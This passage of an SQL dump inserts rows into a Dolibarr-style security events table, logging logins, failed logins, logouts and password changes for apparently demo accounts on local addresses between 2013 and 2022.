Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1049,'2020-01-15 14:41:15','USER_LOGIN_FAILED',1,'2020-01-15 18:41:15',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1050,'2020-01-15 14:41:18','USER_LOGIN',1,'2020-01-15 18:41:18',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1051,'2020-01-15 18:14:40','USER_LOGIN',1,'2020-01-15 22:14:40',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1052,'2020-01-15 20:03:35','USER_LOGIN',1,'2020-01-16 00:03:35',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1053,'2020-01-15 20:41:56','USER_LOGIN',1,'2020-01-16 00:41:56',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1054,'2020-01-16 01:01:22','USER_LOGIN',1,'2020-01-16 02:01:22',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1055,'2020-01-16 15:43:23','USER_LOGIN',1,'2020-01-16 16:43:23',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1056,'2020-01-16 15:44:42','USER_ENABLEDISABLE',1,'2020-01-16 16:44:42',12,'User aboston activated','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1057,'2020-01-16 17:01:27','USER_LOGIN',1,'2020-01-16 18:01:27',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1058,'2020-01-17 09:34:03','USER_LOGIN',1,'2020-01-17 10:34:03',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1059,'2020-01-18 15:17:00','USER_LOGIN',1,'2020-01-18 16:17:00',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x899','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1060,'2020-01-18 18:32:21','USER_LOGIN',1,'2020-01-18 19:32:21',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x672','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1061,'2020-01-19 13:20:27','USER_LOGIN_FAILED',1,'2020-01-19 14:20:27',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1062,'2020-01-19 13:20:30','USER_LOGIN',1,'2020-01-19 14:20:30',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1063,'2020-01-19 17:05:23','USER_LOGIN',1,'2020-01-19 18:05:23',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1064,'2020-01-19 19:29:37','USER_LOGIN',1,'2020-01-19 20:29:37',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1065,'2020-01-20 00:19:16','USER_LOGIN_FAILED',1,'2020-01-20 01:19:16',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1066,'2020-01-20 00:19:19','USER_LOGIN',1,'2020-01-20 01:19:19',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1067,'2020-01-20 10:20:00','USER_LOGIN',1,'2020-01-20 11:20:00',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1068,'2020-01-20 13:29:21','USER_LOGIN',1,'2020-01-20 14:29:21',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1069,'2020-01-20 16:20:00','USER_LOGIN',1,'2020-01-20 17:20:00',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1070,'2020-01-20 22:52:22','USER_LOGIN_FAILED',1,'2020-01-20 23:52:22',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1071,'2020-01-20 22:52:25','USER_LOGIN',1,'2020-01-20 23:52:25',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1072,'2020-01-20 23:43:37','USER_LOGIN_FAILED',1,'2020-01-21 00:43:37',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1073,'2020-01-20 23:43:41','USER_LOGIN',1,'2020-01-21 00:43:41',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1905x643','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1074,'2020-01-21 09:21:05','USER_LOGIN_FAILED',1,'2020-01-21 10:21:05',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1075,'2020-01-21 09:21:09','USER_LOGIN',1,'2020-01-21 10:21:09',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x870','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1076,'2020-01-21 09:33:53','USER_LOGOUT',1,'2020-01-21 10:33:53',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1077,'2020-01-21 09:35:27','USER_LOGIN',1,'2020-01-21 10:35:27',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1078,'2020-01-21 09:35:52','USER_LOGOUT',1,'2020-01-21 10:35:52',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1079,'2020-01-21 09:38:41','USER_LOGIN',1,'2020-01-21 10:38:41',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1080,'2021-04-15 10:38:52','USER_NEW_PASSWORD',1,'2021-04-15 07:38:52',12,'Password change for admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1081,'2021-04-15 10:38:52','USER_MODIFY',1,'2021-04-15 07:38:52',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1082,'2021-04-15 10:40:22','USER_NEW_PASSWORD',1,'2021-04-15 07:40:22',12,'Password change for zzeceo','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1083,'2021-04-15 10:40:22','USER_MODIFY',1,'2021-04-15 07:40:22',12,'User zzeceo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1084,'2021-04-15 10:41:51','USER_NEW_PASSWORD',1,'2021-04-15 07:41:51',12,'Password change for ccommercy','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1085,'2021-04-15 10:41:51','USER_MODIFY',1,'2021-04-15 07:41:51',12,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1086,'2021-04-15 10:42:13','USER_NEW_PASSWORD',1,'2021-04-15 07:42:13',12,'Password change for aeinstein','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1087,'2021-04-15 10:42:13','USER_MODIFY',1,'2021-04-15 07:42:13',12,'User aeinstein modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1088,'2021-04-15 10:54:43','USER_LOGOUT',1,'2021-04-15 07:54:43',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1089,'2021-04-15 10:55:32','USER_LOGIN_FAILED',1,'2021-04-15 07:55:32',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1090,'2021-04-15 10:55:36','USER_LOGIN',1,'2021-04-15 07:55:36',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1091,'2021-04-15 10:55:57','USER_LOGOUT',1,'2021-04-15 07:55:57',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1092,'2021-04-15 10:56:17','USER_LOGIN',1,'2021-04-15 07:56:17',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1093,'2021-04-15 10:56:37','USER_LOGOUT',1,'2021-04-15 07:56:37',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1094,'2021-04-15 10:59:04','USER_LOGIN',1,'2021-04-15 07:59:04',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1095,'2022-07-05 07:56:28','USER_LOGIN_FAILED',1,'2022-07-05 07:56:28',NULL,'Identifiant ou mot de passe incorrect - login=admin','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36',NULL,'eef6babe82a3a30e6c3b93525e9fe8be60019b63',NULL,NULL),(1096,'2022-07-05 07:56:33','USER_LOGIN',1,'2022-07-05 07:56:33',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36',NULL,'eef6babe82a3a30e6c3b93525e9fe8be60019b63',NULL,NULL); +INSERT INTO `llx_events` VALUES (30,'2013-07-18 18:23:06','USER_LOGOUT',1,'2013-07-18 20:23:06',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(31,'2013-07-18 18:23:12','USER_LOGIN_FAILED',1,'2013-07-18 20:23:12',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(32,'2013-07-18 18:23:17','USER_LOGIN',1,'2013-07-18 20:23:17',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(33,'2013-07-18 20:10:51','USER_LOGIN_FAILED',1,'2013-07-18 22:10:51',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(34,'2013-07-18 20:10:55','USER_LOGIN',1,'2013-07-18 22:10:55',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(35,'2013-07-18 21:18:57','USER_LOGIN',1,'2013-07-18 23:18:57',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(36,'2013-07-20 10:34:10','USER_LOGIN',1,'2013-07-20 12:34:10',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(37,'2013-07-20 12:36:44','USER_LOGIN',1,'2013-07-20 14:36:44',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(38,'2013-07-20 13:20:51','USER_LOGIN_FAILED',1,'2013-07-20 15:20:51',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(39,'2013-07-20 13:20:54','USER_LOGIN',1,'2013-07-20 15:20:54',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(40,'2013-07-20 15:03:46','USER_LOGIN_FAILED',1,'2013-07-20 17:03:46',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(41,'2013-07-20 15:03:55','USER_LOGIN',1,'2013-07-20 17:03:55',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(42,'2013-07-20 18:05:05','USER_LOGIN_FAILED',1,'2013-07-20 20:05:05',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(43,'2013-07-20 18:05:08','USER_LOGIN',1,'2013-07-20 20:05:08',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(44,'2013-07-20 21:08:53','USER_LOGIN_FAILED',1,'2013-07-20 23:08:53',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(45,'2013-07-20 21:08:56','USER_LOGIN',1,'2013-07-20 23:08:56',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(46,'2013-07-21 01:26:12','USER_LOGIN',1,'2013-07-21 03:26:12',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(47,'2013-07-21 22:35:45','USER_LOGIN_FAILED',1,'2013-07-22 00:35:45',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(48,'2013-07-21 22:35:49','USER_LOGIN',1,'2013-07-22 00:35:49',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(49,'2013-07-26 23:09:47','USER_LOGIN_FAILED',1,'2013-07-27 01:09:47',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(50,'2013-07-26 23:09:50','USER_LOGIN',1,'2013-07-27 01:09:50',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(51,'2013-07-27 17:02:27','USER_LOGIN_FAILED',1,'2013-07-27 19:02:27',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(52,'2013-07-27 17:02:32','USER_LOGIN',1,'2013-07-27 19:02:32',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(53,'2013-07-27 23:33:37','USER_LOGIN_FAILED',1,'2013-07-28 01:33:37',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(54,'2013-07-27 23:33:41','USER_LOGIN',1,'2013-07-28 01:33:41',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(55,'2013-07-28 18:20:36','USER_LOGIN_FAILED',1,'2013-07-28 20:20:36',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(56,'2013-07-28 18:20:38','USER_LOGIN',1,'2013-07-28 20:20:38',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(57,'2013-07-28 20:13:30','USER_LOGIN_FAILED',1,'2013-07-28 22:13:30',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(58,'2013-07-28 20:13:34','USER_LOGIN',1,'2013-07-28 22:13:34',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(59,'2013-07-28 20:22:51','USER_LOGIN',1,'2013-07-28 22:22:51',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(60,'2013-07-28 23:05:06','USER_LOGIN',1,'2013-07-29 01:05:06',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(61,'2013-07-29 20:15:50','USER_LOGIN_FAILED',1,'2013-07-29 22:15:50',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(62,'2013-07-29 20:15:53','USER_LOGIN',1,'2013-07-29 22:15:53',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(68,'2013-07-29 20:51:01','USER_LOGOUT',1,'2013-07-29 22:51:01',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(69,'2013-07-29 20:51:05','USER_LOGIN',1,'2013-07-29 22:51:05',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(70,'2013-07-30 08:46:20','USER_LOGIN_FAILED',1,'2013-07-30 10:46:20',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(71,'2013-07-30 08:46:38','USER_LOGIN_FAILED',1,'2013-07-30 10:46:38',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(72,'2013-07-30 08:46:42','USER_LOGIN',1,'2013-07-30 10:46:42',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(73,'2013-07-30 10:05:12','USER_LOGIN_FAILED',1,'2013-07-30 12:05:12',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(74,'2013-07-30 10:05:15','USER_LOGIN',1,'2013-07-30 12:05:15',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(75,'2013-07-30 12:15:46','USER_LOGIN',1,'2013-07-30 14:15:46',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(76,'2013-07-31 22:19:30','USER_LOGIN',1,'2013-08-01 00:19:30',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(77,'2013-07-31 23:32:52','USER_LOGIN',1,'2013-08-01 01:32:52',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(78,'2013-08-01 01:24:50','USER_LOGIN_FAILED',1,'2013-08-01 03:24:50',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(79,'2013-08-01 01:24:54','USER_LOGIN',1,'2013-08-01 03:24:54',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(80,'2013-08-01 19:31:36','USER_LOGIN_FAILED',1,'2013-08-01 21:31:35',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 